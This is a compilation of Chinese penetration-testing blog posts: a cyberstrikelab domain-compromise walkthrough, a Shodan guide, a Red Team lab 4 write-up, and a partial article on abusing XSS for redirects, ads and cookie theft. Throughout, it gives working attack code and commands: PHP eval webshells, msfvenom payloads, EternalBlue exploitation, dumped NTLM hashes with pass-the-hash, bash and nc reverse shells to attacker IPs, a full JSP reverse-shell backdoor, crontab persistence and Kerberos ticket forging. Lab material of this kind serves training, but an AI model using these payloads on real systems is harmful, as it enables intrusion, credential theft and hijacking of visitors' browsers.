【域渗透】cyberstrikelab-lab7 cyberstrikelab-lab7web渗透9652端口八哥CMSPS C:\Users\xt350> fscan.exe -h 192.168.10.10 -p 1-65000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 192.168.10.10:139 open 192.168.10.10:135 open 192.168.10.10:445 open 192.168.10.10:3306 open 192.168.10.10:5040 open 192.168.10.10:7680 open 192.168.10.10:9652 open 192.168.10.10:49664 open 192.168.10.10:49666 open 192.168.10.10:49665 open 192.168.10.10:49669 open 192.168.10.10:49668 open 192.168.10.10:49667 open 192.168.10.10:49670 open [*] alive ports len is: 14 start vulscan [*] WebTitle http://192.168.10.10:9652 code:200 len:14625 title:网站标题-网站标题 - Powered By BageCMS 已完成 14/14 [*] 扫描结束,耗时: 4m16.0065058s http://192.168.10.10:9652/install.txt这个地址泄露了后台管理地址，使用admin / admin123456弱口令登录后台，发现cms版本为 BageCMS3.1.0修改网站首页源码<?php @eval($_POST['a']);?> 生成msf马，执行，监听上线msfvenom -p Windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD Windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" 内网渗透C:\phpstudy_pro\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::8c17:fbcc:901f:c897%6 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::fd48:8021:9701:9c1d%14 IPv4 Address. . . . . . . . . . . : 192.168.20.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 C:\phpstudy_pro\WWW>fscan.exe -h 192.168.20.10/24 fscan.exe -h 192.168.20.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.10 is alive (icmp) Target 192.168.20.20 is alive (icmp) Target 192.168.20.40 is alive [*] Icmp alive hosts len is: 3 192.168.20.20:445 open 192.168.20.10:445 open 192.168.20.10:7680 open 192.168.20.40:88 open 192.168.20.20:3306 open 192.168.20.10:3306 open 192.168.20.40:445 open 192.168.20.40:139 open 192.168.20.20:139 open 192.168.20.10:139 open 192.168.20.40:135 open 192.168.20.20:135 open 192.168.20.10:135 open [*] alive ports len is: 13 start vulscan [+] NetInfo: [*]192.168.20.40 [->]WIN-137FCI4D99A [->]192.168.20.40 [+] NetInfo: [*]192.168.20.20 [->]cyberweb [->]192.168.20.20 [+] 192.168.20.40 MS17-010 (Windows Server 2016 Standard 14393) [*] 192.168.20.40 [+]DC CYBERSTRIKELAB\WIN-137FCI4D99A Windows Server 2016 Standard 14393 [*] 192.168.20.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 已完成 13/13 [*] 扫描结束,耗时: 14.733617s 域控主机为20.40，存在永恒之蓝漏洞，使用msf命令执行，获取第二个flaguse admin/smb/ms17_010_command set command type c:\\flag.txt set rhosts 192.168.20.40 run 配置路由run post/multi/manage/autoroute 使用代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j 本机使用proxifier代理到kali msf的ip地址和端口开启本地资源共享远程连接传入msf正向马msf设置好配置，准备上线利用永恒之蓝执行木马（我们远程登录的是普通用户，不是系统权限，抓取不了hash），需要利用永恒之蓝来执行木马msf auxiliary(admin/smb/ms17_010_command) > set command C:\\Users\\xiaoyu\\Desktop\\shell.exe command => C:\Users\xiaoyu\Desktop\shell.exe msf auxiliary(admin/smb/ms17_010_command) > run [*] 192.168.20.40:445 - Target OS: Windows Server 2016 Standard 14393 [*] 192.168.20.40:445 - Built a write-what-where primitive... [+] 192.168.20.40:445 - Overwrite complete... SYSTEM session obtained! [+] 192.168.20.40:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.20.40:445 - Getting the command output... [*] 192.168.20.40:445 - Command finished with no output [*] 192.168.20.40:445 - Executing cleanup... [+] 192.168.20.40:445 - Cleanup was successful [+] 192.168.20.40:445 - Command completed successfully! [*] 192.168.20.40:445 - Output for "C:\Users\xiaoyu\Desktop\shell.exe": [*] 192.168.20.40:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 因为使用的是正向连接，执行之后再来连接shellmsf auxiliary(admin/smb/ms17_010_command) > use exploit/multi/handler [*] Using configured payload Windows/meterpreter/bind_tcp msf exploit(multi/handler) > show options Payload options (Windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 192.168.20.40 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf exploit(multi/handler) > run -j [*] Exploit running as background job 5. [*] Exploit completed, but no session was created. [*] Started bind TCP handler against 192.168.20.40:4444 msf exploit(multi/handler) > [*] Sending stage (177734 bytes) to 192.168.20.40 [*] Meterpreter session 4 opened (192.168.20.10:50929 -> 192.168.20.40:4444 via session 3) at 2025-12-11 02:21:05 -0500 msf exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 3 meterpreter x86/Windows NT AUTHORITY\SYSTEM @ DESKTOP-JFB 10.10.10.173:36245 -> 192.168.10.1 57A8 0:4444 (192.168.10.10) 4 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-137FCI4 192.168.20.10:50929 -> 192.168.20. D99A 40:4444 via session 3 (192.168.20. 40) msf exploit(multi/handler) > sessions 4 [*] Starting interaction with 4... meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 利用msf的hashdump，获取域控主机的管理员hashmeterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:d8174fc8c5ee7a8e460df2e61d00bd3c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f230bc7afd28cc6d52aab59e6e31fd6a::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: cyberweb:1106:aad3b435b51404eeaad3b435b51404ee:214352b7762ea8894f78edcbf5748a05::: xiaoyu:1107:aad3b435b51404eeaad3b435b51404ee:73f5d97549f033374fa6d9f9ce247ffd::: WIN-137FCI4D99A$:1000:aad3b435b51404eeaad3b435b51404ee:44ec20bd68d4e22d3428a97d15f441dd::: CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:664117f18ce890f00499a80e2fb92904::: PTH 20，拿下最后一台机器proxychains impacket-psexec -hashes :d8174fc8c5ee7a8e460df2e61d00bd3c cyberstrikelab.com/Administrator@192.168.20.20  

【kali笔记】shodan的20种使用方法，信息收集必备 【kali笔记】shodan的20种使用方法，信息收集必备Shodan是专注于搜索互联网连接设备的搜索引擎，能发现和分析设备及其漏洞，被誉为“物联网的搜索引擎”。官网获取APIkey：https://developer.shodan.io/眼睛放大一点，APIkey在右上角查看帮助参数详细 Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息，即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据使用init初始化API在命令行中直接显示查询结果，例如搜索有关中国上海的服务器，并且开启了3389端口search直接将查询结果展示在命令行中，默认情况下只显示ip、端口号、主机名和http数据。也可以通过使用–fields来自定义显示内容。比如只显示ip、端口号、组织机构、主机名。# 搜索cn 拥有mysql服务，且包含了nginx服务的主机，并显示在终端中 shodan search --fields ip_str,port,org,hostnames mysql country:cn product:'nginx'搜索结果搜索日本的开启3389端口的服务器使用host可以指定IP地址，查看系统详细信息，地理位置、开放端口等这里也可以查看到漏洞信息，像这种不排除是蜜罐查看各种端口信息，比如3389远程端口开启，就能直接使用海德拉（Hydra）进行RDP协议爆破（请勿用于非法用途，造成的后果自行承担）Hydra使用：搜索设备（华为，思科防火墙之类的）使用stats统计nginx全球分布情况，stats通常用来统计数量使用download把这些分布情况下载下来parse可以用来解析数据，多用于python脚本中。通过vuln参数，用户可以指定一个CVE（Common Vulnerabilities and Exposures，通用漏洞披露）编号，来查找那些已知存在该漏洞的设备或服务。这里举例一个MS17-010（永恒之蓝）漏洞永恒之蓝复现过程：其他用法搜索指定的组织或公司 ，org搜索指定的操作系统/软件/平台搜索指定的IP地址或子网使用count命令获取搜索结果的数量使用myip命令获取自身外部可见的IP地址使用info命令查看自身账户的信息，包括认证的信息使用honeyscore命令查看是否有蜜罐保护，这里没计算出来，可以使用在线地址检测https://honeyscore.shodan.io/统计 cn 中使用了ssl的ip地址，并且服务使用了nginx，开启了3389远程端口的主机数量查找SSL证书已过期的设备，这可能是蜜罐的一种特征使用scan命令提交IP进行在线扫描，这里扫了半天没出来，不知道为什么scan参数 -h查看刚刚扫描的结果 listfacets参数在Shodan中的作用是获取特定搜索查询的统计信息，它允许用户对搜索结果中的某些属性进行分组和计数，以了解这些属性值的分布情况。统计指定网络段内与漏洞（vuln）相关的统计信息，并且限制结果只显示前10个最常见的漏洞指定系统oshttp.title查找HTTP响应中标题（title）字段包含特定文本的设备。这个参数可以帮助用户快速定位到具有特定标题的网页，这在渗透测试中尤其有用，因为某些管理界面或特定服务的页面标题可能包含敏感信息或标识。比如，搜索标题中包含"Login"的设备你懂的本期介绍这么多用法，如果还有其他好用的用法，还请师傅们留言指出，让更多的师傅们学习。往期推荐XSS高级用法，SEO优化，挂ma，MS14_064一款开源持续更新的后渗透免杀框架【RCE剖析】从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析Win11综合渗透系统，第二个”kali“武器库——文末抽黑神话【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS

不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学 十年磨一剑！本次靶机呢，也不算存手工注入，就是介绍了不用MSF的打法，文章很长，但是呢能学到的东西很多很多！比如隧道搭建是proxychains+frp,然后Docker逃逸，域控，横向移动，权限提升，写公匙获取交互式shell，永恒之蓝利用等等，网上很多教程都不是最新的，复现起来有点困难，对于Windows渗透不太了解的师傅们可以学习学习，感谢阅读前言最近vulnstack官网进不去了，还好之前保存在自己度盘的，需要自取，一共8个，红日1-8全都在，一共500G左右，下载还请预留好一定的空间通过网盘分享的文件：红日靶场 链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: uze8 这是红日官网，进不去了都环境配置打开虚拟机后web设置网卡1为nat模式，网卡2为仅主机模式，密码为ubuntusudo Docker start ec 17 09 bb da 3d ab ad sudo Docker ps第二台系统是Windows的，网卡是仅主机模式第三台DC域控仅主机模式网络配置好后，得以登录看看靶机的网络环境ubuntu:ubuntu 10.10.10.131 192.168.183.129 域成员机器win douser:Dotest123 192.168.183.128 DC administrator:Test2008 192.168.183.130网络拓步结构环境配置好后就可以开始渗透了外网打点利用arp-scan进行主机探测对扫描出来的ip进行端口扫描，发现靶机开启了2001、2002、2003端口并且这三个端口都是http服务，也就是说我们能通过网页直接访问到2001端口如下，Struts2服务（可以看网页标题）2002端口如下，这是一个Apache Tomcat服务2003端口，phpmyadmin，一个数据库管理工具Struts2渗透那么一个一个来看吧，利用Struts2漏洞扫描工具执行命令测试利用bash进行反弹Shell，并且shell是root的，但是这是Docker环境/bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1在Docker的渗透过程中呢，如果得到了某一个Docker环境远远是不够的，通常需要得到多个Docker环境的权限，来判断当前Docker环境是否能够进行Docker逃逸，这样才能提高渗透成功的概率，接下来是TomcatTomcat渗透Nikto，它是一个开源的网络安全扫描工具，简称漏扫工具nikto -url http://10.10.10.131:2002/发现能够使用PUT方法进行上传文件，可以手动，但是不建议，我们直接用poc打python 42966.py根据使用方法，得到如下命令，成功获取webshellpython 42966.py -u http://10.10.10.131:2002/ -p pwnphpmyadmin渗透切换到主页，这里能看到phpmyadmin的版本号为4.8.1发现此版本的phpmyadmin存在文件包含和远程命令执行漏洞我们利用第一个exp┌──(root㉿kali)-[/data/exp/demo] └─# cat 44924.txt | grep http http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm成功利用文件包含的pochttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd文件包含phpmyadmin日志文件首先是日志包含，在日志包含之前我们需要先查看mysql的命令执行日志的路径SHOW VARIABLES LIKE 'general_log_file'; /var/lib/mysql/ad7866b3df9b.log写入日志select "<?php @eval($_GET['123']);?>";包含日志文件，报错了，这个包含方法不行，那么就换一个文件包含http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../var/lib/mysql/ad7866b3df9b.log?123=lssession文件创建shell我们创建一个数据表写入一句话 <?php @eval($_GET['123']);?>查看session，为3cfb6084f034677df82ef00120cce4fd包含sessionhttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd执行命令，失败http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd?123=lsshell获取失败Docker逃逸docker信息收集，判断当前环境是否是docker环境，可以看到这个是属于docker环境的ls -alh /.dockerenv cat /proc/1/cgroup特权逃逸如果管理员启动某一个容器的时候呢，利用了docker run -privileged时，docker容器将被允许访问主机上的所有设备，并且可以执行mount命令进行挂载mkdir /tmp/forest mount /dev/sda1 /tmp/forest这里struts2服务逃逸失败了，之前我们不是得到了Tomcat的shell嘛，我们利用这个试试（这俩个是不同的docker环境），这里就能挂载成功了mkdir /tmp/forest mount /dev/sda1 /tmp/forest ls /tmp/forest成功挂载了，那么我们就要获取稳定shell，这个shell不稳定，经过测试python等一系列反弹都不行，那么就切换思路，利用kali自带的反弹Shell的jsp脚本// backdoor.jsp // http://www.security.org.sg/code/jspreverse.html <%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %> <%! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector(InputStream is, OutputStream os) { this.is = is; this.os = os; } public void run() { BufferedReader isr = null; BufferedWriter osw = null; try { isr = new BufferedReader(new InputStreamReader(is)); osw = new BufferedWriter(new OutputStreamWriter(os)); char buffer[] = new char[8192]; int lenRead; while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0) { osw.write(buffer, 0, lenRead); osw.flush(); } } catch (Exception ioe) {} try { if(isr != null) isr.close(); if(osw != null) osw.close(); } catch (Exception ioe) {} } } %> <h1>JSP Backdoor Reverse Shell</h1> <form method="post"> IP Address <input type="text" name="ipaddress" size=30> Port <input type="text" name="port" size=10> <input type="submit" name="Connect" value="Connect"> </form> <p> <hr> <% String ipAddress = request.getParameter("ipaddress"); String ipPort = request.getParameter("port"); if(ipAddress != null && ipPort != null) { Socket sock = null; try { sock = new Socket(ipAddress, (new Integer(ipPort)).intValue()); Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("/bin/bash"); StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream()); StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream()); outputConnector.start(); inputConnector.start(); } catch(Exception e) {} } %> <!-- http://michaeldaw.org 2006 -->在主页随便点一点找到网页上的这个文件find / -name security-howto.html然后将这个webshell下载下来，复制到这个目录下面wget 10.10.10.130:5000/jsp-reverse.jsp cp jsp-reverse.jsp /usr/local/tomcat/webapps/docs/输入ip和端口就可以反弹啦但是呐，创建不了交互式终端呢，有点难受奥，即使创建了，也是docker环境呢python2 -c 'import pty;pty.spawn("/bin/bash")'那么就使用上传公匙的方法免密登录ssh-keygen -t rsa -b 4096 # 回车 # 回车 # 回车靶机依次执行如下命令wget 10.10.10.130:5000/rain.pub chmod 700 /tmp/forest/home/ubuntu/.ssh/ cp rain.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys chmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keyskali尝试连接（失败）经过测试很多遍了，靶机的/etc/ssh/sshd_config文件也修改了，还是不行ssh ubuntu@10.10.10.131开始排错，这个公匙权限是root，但是呢我们连接的时候使用的是ubuntu用户，而这个.ssh目录也是ubuntu用户的目录，所以连接的时候权限对不上，也会导致使用私匙连接失败但由于我们获取的是docker环境的shell，是没有ubuntu用户的，我们需要添加一个ubuntu用户useradd ubuntu chown ubuntu:ubuntu authorized_keys ls -al total 16 drwx------ 2 ubuntu ubuntu 4096 Feb 15 08:31 . drwxr-xr-x 17 ubuntu ubuntu 4096 Feb 15 08:26 .. -rw------- 1 ubuntu ubuntu 735 Feb 15 08:31 authorized_keys -rw-r----- 1 root root 91 Feb 15 08:05 rain.pub还是需要我们输入密码，权限给了，用户也添加了，卧槽我能怎么办。。。。。。那么大概率就是算法问题了，强制添加选项（卧槽，搞我半天，心态崩了）ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsassh连接问题排错方案给三个参考，目前我打靶所遇到的，可以写在自己的笔记里面ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集我们还没有得到ubuntu的密码，获取不了最高root权限（sudo）不支持本地提权，像常规的suid提权都不行查看计划任务，没有ubuntu这个用户可以写的文件但是还有一种方式哈，我们刚刚获取的逃逸成功的shell，它是不是root？我们用这个root追加一个计划任务，那么真实的靶机就会定时执行这个命令是吧，前面我们密匙都登录成功了，这个问题还不简单嘛echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.sh chmod +x /tmp/forest/tmp/shell.sh cat /tmp/forest/tmp/shell.sh # 写入crontab计划任务，表示每隔1分钟以root权限执行一次计划 echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontab cat /tmp/forest/etc/crontab nc -lvnp 1234等待1分钟即可反弹成功创建交互式终端python3 -c 'import pty;pty.spawn("/bin/bash")'查看网卡内网主机发现root@ubuntu:/tmp# for i in {1..254}; do (ping -c 1 192.168.183.${i} | grep "bytes from" | grep -v "Unreachable" &); done; 64 bytes from 192.168.183.128: icmp_seq=1 ttl=128 time=0.682 ms 64 bytes from 192.168.183.129: icmp_seq=1 ttl=64 time=0.031 ms 64 bytes from 192.168.183.130: icmp_seq=1 ttl=128 time=0.829 ms发现了另外两台靶机，写入端口扫描工具，把扫描出来的另外两个靶机放入这个hosts变量里面#!/bin/bash hosts=( "192.168.183.128" "192.168.183.130" ) END=65535 for host in "${hosts[@]}" do echo "===============================" echo "Scanning $host" echo "===============================" for ((port=1;port<=END;port++)) do echo "" > /dev/tcp/$host/$port && echo "Port $port is open" done 2>/dev/null done扫描结果，第二个机器扫不出来结果，大概率是禁ping或者开了防火墙frp隧道搭建服务端开启frp服务器web靶机连接服务端编辑修改/etc/proxychains4.conf的最后一行数据使用Nmap对刚刚扫描出来的一个端口进行测试，135端口开启，代理成功！！proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135增加端口数量proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135,139,445,5357,49152,49153,49154,49155,49156,49157从上面的服务来看，大概率是一个Windows服务器，还开着一个http端口，访问一下看看，报了503服务器内部错误对445端口增加漏洞扫描的Nmap脚本proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 445 --script=vulnms17-010很熟悉吧，是永痕之蓝如果说我们需要从对方的内网反弹Shell反弹到我们的kali上，那么就需要配置端口转发，服务器靶机执行如下命令，我们前面已经获取到了最高权限iptables -t nat -A PREROUTING -p tcp --dport 2222 -j DNAT --to-destination 10.10.10.130:4444这里我就不用端口转发了，没有用成功，感兴趣的可以试试（192.168.183.149是我的win7地址，中途恢复了快照几次），另外下面这个生成了两个payload，因为目前我们还不知道目标是x86还是x64的操作系统，所以生成了两个，然后合并成一个，这样就可以双利用了（注意要多打几次，否则可能利用不成功或者造成蓝屏）git clone https://github.com/worawit/MS17-010.git nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin MSFvenom -p Windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x64 --format raw -o sc_x64_payload.bin MSFvenom -p Windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x86 --format raw -o sc_x86_payload.bin cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin proxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin反弹成功chcp 65001解决乱码问题域渗透查看所有网络信息，这里我没有画，稍微注意一下dns的地址，是192.168.183.130ipconfig /all查看域内用户，和本机用户，本机用户已经是最高system权限了，但是呢不在域用户列表中通过ping就可以获取目标IP信息啦，并且呢我们可以发现，这个地址是和dns地址一样的查看administrators组的成员如果没有密码，那就是目标靶机没有登录，需要登录一下，这样这些凭证才能保存到本地mimikatz.exe sekurlsa::logonpasswords记录一下sid为：S-1-5-21-979886063-1111900045-1414766810-1107利用ms14-068进行域内提权，伪造黄金票据，获取域控的操作权限ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123利用mimikatz.exe导入上面生成的票据mimikatz # kerberos::purge //清空当前机器中所有凭证，如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中连接并查看域控，连接成功！通过net use挂载域控共享目录net use WIN-ENS2VR5TR3N dir \WIN-ENS2VR5TR3Nc$web肉鸡（ubuntu）因为只有它出网：wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip unzip netcat-win32-1.12.zip python3 -m http.server将这个文件传上win7，由于cmd没有curl和wget等命令，但是测试了certutil可以使用，那么就用这个从web服务器下载下来，win7：certutil -urlcache -split -f http://192.168.183.129:8000/nc.exe c:nc.exe再将这个nc.exe复制到域控主机上copy C:nc.exe \WIN-ENS2VR5TR3Nc$nc.exe接着新建任务来关闭域控的防火墙sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \WIN-ENS2VR5TR3N start unablefirewallwin7创建nc反弹任务sc \WIN-ENS2VR5TR3N create ncshell binpath= "c:nc.exe 192.168.183.129 1234 -e cmd" sc \WIN-ENS2VR5TR3N start ncshellweb服务器别忘记开nc监听nc -lnvp 1234拿到域控主机，获取主机密码，将win7的mimikatz复制到域控主机上copy mimikatz.exe \WIN-ENS2VR5TR3Nc$mimikatz.exe dir \WIN-ENS2VR5TR3Nc$在反弹成功的shell中执行刚刚复制下来的mimikatzmimikatz.exe sekurlsa::logonpasswords成功拿下域控的密码！！开启远程连接放行TCP端口3389，前面已经关闭了防火墙，这一步可以跳过etsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389修改注册表，设置允许远程登录，需要重启一下，会发现获取不到挂载的域控目录信息了，重新根据上面的步骤再来一遍就行了reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f shutdown /r /t 0打开proxifier开启全局代理，设置socks5连接kali的proxychains端口此时就可以用Windows的远程连接了远程连接成功！成功拿下域控主机远程访问权限！至此，渗透结束，当然还可以继续渗透，清理操作日志，也就几条命令的事儿。感兴趣的朋友们可以自行尝试另外也有第二种方法来，域控主机也是存在永恒之蓝漏洞的，然后利用域控主机横向到win7主机proxychains Nmap -sT 192.168.183.130 -p 445 --script=vuln报告总结一、测试目标概述靶场环境：由三台主机组成的域渗透环境（Ubuntu Web服务器、Windows域成员机、Windows域控服务器）网络拓扑： 外网段：10.10.10.0/24 内网段：192.168.183.0/24 核心目标：从外网突破至内网，获取域控（DC）权限。 二、渗透测试流程阶段一：外网打点 主机发现 使用arp-scan探测内网存活主机，定位Web服务器（10.10.10.131）。 端口扫描发现开放服务： 2001端口：Apache Struts2服务 2002端口：Tomcat管理界面 2003端口：phpMyAdmin 漏洞利用 Struts2 S2-045漏洞 使用公开EXP执行命令，获取Docker容器内Root权限，确认容器逃逸需求。# 反弹Shell命令 /bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1 Tomcat PUT方法任意文件上传 利用CVE-2017-12615上传JSP Webshell，获取Tomcat权限。 phpMyAdmin 4.8.1文件包含漏洞 包含日志文件/Session文件尝试GetShell，因环境限制未成功。 阶段二：内网横向移动 权限维持与逃逸 Docker逃逸（特权模式） 挂载宿主机磁盘至容器路径，通过写入SSH公钥或计划任务反弹Shell，获取宿主机Ubuntu权限。mount /dev/sda1 /mnt/host # 挂载宿主机磁盘 echo "恶意任务" >> /mnt/host/etc/crontab # 宿主机定时任务 内网探测 存活主机：192.168.183.128（Win7）、192.168.183.130（DC） 使用proxychains+frp搭建Socks代理，实现内网流量转发。 域成员机渗透（192.168.183.128） MS17-010永恒之蓝漏洞利用 生成混合Payload，通过Metasploit框架获取System权限Shell。 信息收集 域名称：DEMO.com 域用户：douser/Dotest123 域管理员组：Administrator（未直接暴露） 域控提权（192.168.183.130） MS14-068漏洞伪造黄金票据ms14-068.exe -u douser@DEMO.com -s SID -d DC_IP -p 密码 mimikatz.exe kerberos::ptc 票据文件 # 注入内存 横向控制 通过net use挂载域控共享目录，上传NC反弹Shell。 关闭防火墙，创建远程服务执行Payload，获取域控System权限。 三、关键风险点 外网服务漏洞 Struts2、Tomcat、phpMyAdmin等未及时修复公开漏洞。 内网隔离缺失 Docker容器与宿主机未做网络隔离，特权模式启用导致逃逸。 域内安全策略缺陷 未禁用弱协议（SMBv1），MS17-010补丁未安装。 域用户权限过高，允许普通域用户提权至域管理员。 四、修复建议 外网服务加固 升级Struts2、Tomcat至安全版本，禁用PUT方法。 phpMyAdmin限制访问IP，启用双因素认证。 内网隔离与监控 Docker容器使用非特权模式，启用AppArmor/SELinux。 部署IDS/IPS检测异常SMB流量（如永恒之蓝攻击特征）。 域安全策略优化 安装MS17-010补丁，关闭SMBv1协议。 实施最小权限原则，定期审计域用户权限。 启用LAPS（本地管理员密码解决方案），防止密码复用。 五、附录 渗透工具清单 漏洞扫描：Nmap、Nikto 漏洞利用：MSF、MS14-068 EXP、永恒之蓝利用脚本 横向移动：Proxychains、FRP、Mimikatz 攻击路径示意图 报告编制方：泷羽Sec安全团队 日期：2025年2月16日往期推荐ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【渗透测试】ATT&CK靶场一，phpmyadmin，域渗透，内网横向移动攻略【oscp】vulnerable_docker，三种代理方法打入内网【oscp】FALL，wfuzz参数模糊测试【oscp】超长攻击链，TommyBoy1dot0——过年快乐！【oscp】Tr0ll 靶机全系列（1-3），FTP被玩坏了

XSS高级用法，SEO，挂ma，MS14_064利用 XSS高级用法，SEO，挂ma，MS14_064利用以下所有的针对XSS的利用方式都是对XSS的深一步的学习了解、请勿于未授权环境下进行非法操作！！！XSS平台：https://xssaq.com/<sCRiPt sRC=//xs.pe/PNb></sCrIpT> 这里有一个XSSlabs，利用我们的payloadXSS平台已上线查看功能这里面有源码，XSS站点的ua头，还有存储用户cookie信息机器的真实IP地址地址很明确，是我自己的地址广告传播/SEO优化/刷取流量原理通过恶意的XSS代码将正常的页面跳转到目的地的页面，利用网站进行重定向实现引流、广告位传播等等。实操恶意刷取访问量，网页直接跳转<script type="text/javascript">window.location.href="跳转的目的地址";</script> <script type="text/javascript">window.location.replace("跳转的目的地址");</script> <script type="text/javascript">window.location.assign("跳转的目的地址");</script> 注入成功，再次访问这个页面就会自动跳转到你的页面，从而达到访问量+1第二种，网页延迟跳转<script type="text/javascript"> 　　function jumurl(){ 　　window.location.href = 'https://www.baidu.com'; 　　} 　　setTimeout(jumurl,3000); </script> 恶意广告展示（需要5块钱吃外卖的记得扫个码嘞，美团优惠卷+平台双减）<script>document.writeln("<iframe scrolling='no' frameborder='0' 